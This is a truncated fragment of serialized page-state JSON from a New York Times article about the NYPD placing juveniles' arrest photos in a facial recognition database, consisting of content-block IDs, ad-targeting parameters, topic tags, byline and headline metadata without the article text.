rue,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.49","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.50","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.51","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.52","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.53","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.54","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.55","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.56","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.57","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.58","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.59","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.60","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.61","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.62","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.63","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.64","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.65","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.66","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.67","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.68","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.69","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.70","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.71","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.72","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.73","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.74","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.75","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.76","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.77","typename":"RelatedLinksBlock"}]},"AdTargetingParam:als_test1565027040168":{"key":"als_test","value":"1565027040168","__typename":"AdTargetingParam"},"AdTargetingParam:propnyt":{"key":"prop","value":"nyt","__typename":"AdTargetingParam"},"AdTargetingParam:platweb":{"key":"plat","value":"web","__typename":"AdTargetingParam"},"AdTargetingParam:ednus":{"key":"edn","value":"us","__typename":"AdTargetingParam"},"AdTargetingParam:brandsensitivefalse":{"key":"brandsensitive","value":"false","__typename":"AdTargetingParam"},"AdTargetingParam:per":{"key":"per","value":"","__typename":"AdTargetingParam"},"AdTargetingParam:orgpolicedepartmentnyc":{"key":"org","value":"policedepartmentnyc","__typename":"AdTargetingParam"},"AdTargetingParam:geonewyorkcity":{"key":"geo","value":"newyorkcity","__typename":"AdTargetingParam"},"AdTargetingParam:desjuveniledelinquency,facialrecognitionsoftware,privacy,surveillanceofcitizensbygovern,police,civilrightsandliberties":{"key":"des","value":"juveniledelinquency,facialrecognitionsoftware,privacy,surveillanceofcitizensbygovern,police,civilrightsandliberties","__typename":"AdTargetingParam"},"AdTargetingParam:spon":{"key":"spon","value":"","__typename":"AdTargetingParam"},"AdTargetingParam:authaliwatkins,josephgoldstein":{"key":"auth","value":"aliwatkins,josephgoldstein","__typename":"AdTargetingParam"},"AdTargetingParam:col":{"key":"col","value":"","__typename":"AdTargetingParam"},"AdTargetingParam:collnewyork,usnews,technology,techandsociety":{"key":"coll","value":"newyork,usnews,technology,techandsociety","__typename":"AdTargetingParam"},"AdTargetingParam:artlenmedium":{"key":"artlen","value":"medium","__typename":"AdTargetingParam"},"AdTargetingParam:ledemedsznone":{"key":"ledemedsz","value":"none","__typename":"AdTargetingParam"},"AdTargetingParam:gui":{"key":"gui","value":"","__typename":"AdTargetingParam"},"AdTargetingParam:templatearticle":{"key":"template","value":"article","__typename":"AdTargetingParam"},"AdTargetingParam:typart,oak":{"key":"typ","value":"art,oak","__typename":"AdTargetingParam"},"AdTargetingParam:sectionnyregion":{"key":"section","value":"nyregion","__typename":"AdTargetingParam"},"AdTargetingParam:si_sectionnyregion":{"key":"si_section","value":"nyregion","__typename":"AdTargetingParam"},"AdTargetingParam:id100000006583622":{"key":"id","value":"100000006583622","__typename":"AdTargetingParam"},"AdTargetingParam:trend":{"key":"trend","value":"","__typename":"AdTargetingParam"},"AdTargetingParam:ptnt10,nt15,nt16,nt18,nt3,nt4,nt9":{"key":"pt","value":"nt10,nt15,nt16,nt18,nt3,nt4,nt9","__typename":"AdTargetingParam"},"AdTargetingParam:gscatneg_mastercard,gs_law_misc,neg_chanel,gv_crime,neg_hearts,gs_tech,gs_law,gs_tech_computing,neg_ibmtest,gs_tech_phones,neg_samsung,gs_education":{"key":"gscat","value":"neg_mastercard,gs_law_misc,neg_chanel,gv_crime,neg_hearts,gs_tech,gs_law,gs_tech_computing,neg_ibmtest,gs_tech_phones,neg_samsung,gs_education","__typename":"AdTargetingParam"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0":{"displayName":"Joseph Goldstein","__typename":"Person","url":"","contactDetails":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.contactDetails","typename":"ContactDetails"},"legacyData":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.legacyData","typename":"PersonLegacyData"}},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1":{"displayName":"Ali Watkins","__typename":"Person","url":"","contactDetails":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.contactDetails","typename":"ContactDetails"},"legacyData":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.legacyData","typename":"PersonLegacyData"}},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0":{"creators":[{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0","typename":"Person"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1","typename":"Person"}],"__typename":"Byline","renderedRepresentation":"By Joseph Goldstein and Ali Watkins"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.displayProperties":{"fullBleedDisplayStyle":"","__typename":"CreativeWorkDisplayProperties","serveAsNyt4":false},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.0":{"__typename":"Organization","vernacular":"NYPD","isAdvertisingBrandSensitive":false,"displayName":"Police Department (NYC)"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.1":{"__typename":"Subject","vernacular":"Juvenile delinquency","isAdvertisingBrandSensitive":false,"displayName":"Juvenile Delinquency"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.2":{"__typename":"Subject","vernacular":"Facial Recognition","isAdvertisingBrandSensitive":false,"displayName":"Facial Recognition Software"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.3":{"__typename":"Subject","vernacular":"Privacy","isAdvertisingBrandSensitive":false,"displayName":"Privacy"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.4":{"__typename":"Subject","vernacular":"Government Surveillance","isAdvertisingBrandSensitive":false,"displayName":"Surveillance of Citizens by Government"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.5":{"__typename":"Subject","vernacular":"Police","isAdvertisingBrandSensitive":false,"displayName":"Police"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.6":{"__typename":"Subject","vernacular":"Civil Rights","isAdvertisingBrandSensitive":false,"displayName":"Civil Rights and Liberties"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.7":{"__typename":"Location","vernacular":"NYC","isAdvertisingBrandSensitive":false,"displayName":"New York City"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.headline":{"default":"She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.","__typename":"CreativeWorkHeadline","default@stripHtml":"She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.","seo@stripHtml":""},"Organization:T3JnYW5pemF0aW9uOm55dDovL29yZ2FuaXphdGlvbi9jMjc5MTM4OC02YjE2LTVmZmQtYTExOS05NmVhY2IxOTg5YzE=":{"id":"T3JnYW5pemF0aW9uOm55dDovL29yZ2FuaXphdGlvbi9jMjc5MTM4OC02YjE2LTVmZmQtYTExOS05NmVhY2IxOTg5YzE=","displayName":"New York Times","__typename":"Organization"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.printInformation":{"page":"1","section":"A","publicationDate":"2019-08-02T04:00:00.000Z","__typename":"PrintInformation","edition":"NewYork","headline@stripHtml":"In New York, Police Computers Scan Faces, Some as Young as 11"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.0":{"name":"mobile","stride":4,"threshold":3,"__typename":"SprinkledConfig"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.1":{"name":"desktop","stride":7,"threshold":3,"__typename":"SprinkledConfig"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.2":{"name":"mobileHoldout","stride":6,"threshold":3,"__typename":"SprinkledConfig"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.3":{"name":"desktopHoldout","stride":8,"threshold":3,"__typename":"SprinkledConfig"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.4":{"name":"hybrid","stride":4,"threshold":3,"__typename":"SprinkledConfig"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled":{"configs":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.0","typename":"SprinkledConfig"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.1","typename":"SprinkledConfig"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.2","typename":"SprinkledConfig"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.3","typename":"SprinkledConfig"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.4","typename":"SprinkledConfig"}],"__typename":"SprinkledContent"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.0":{"__typename":"HeaderBasicBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.1":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.2":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.3":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.4":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.5":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.6":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.7":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.8":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.9":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.10":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.11":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.12":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.13":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.14":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.15":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.16":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.17":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.18":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.19":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.20":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.21":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.22":{"__typename":"ImageBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.23":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.24":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.25":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.26":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.27":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.28":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.29":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.30":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.31":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.32":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.33":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.34":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.35":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi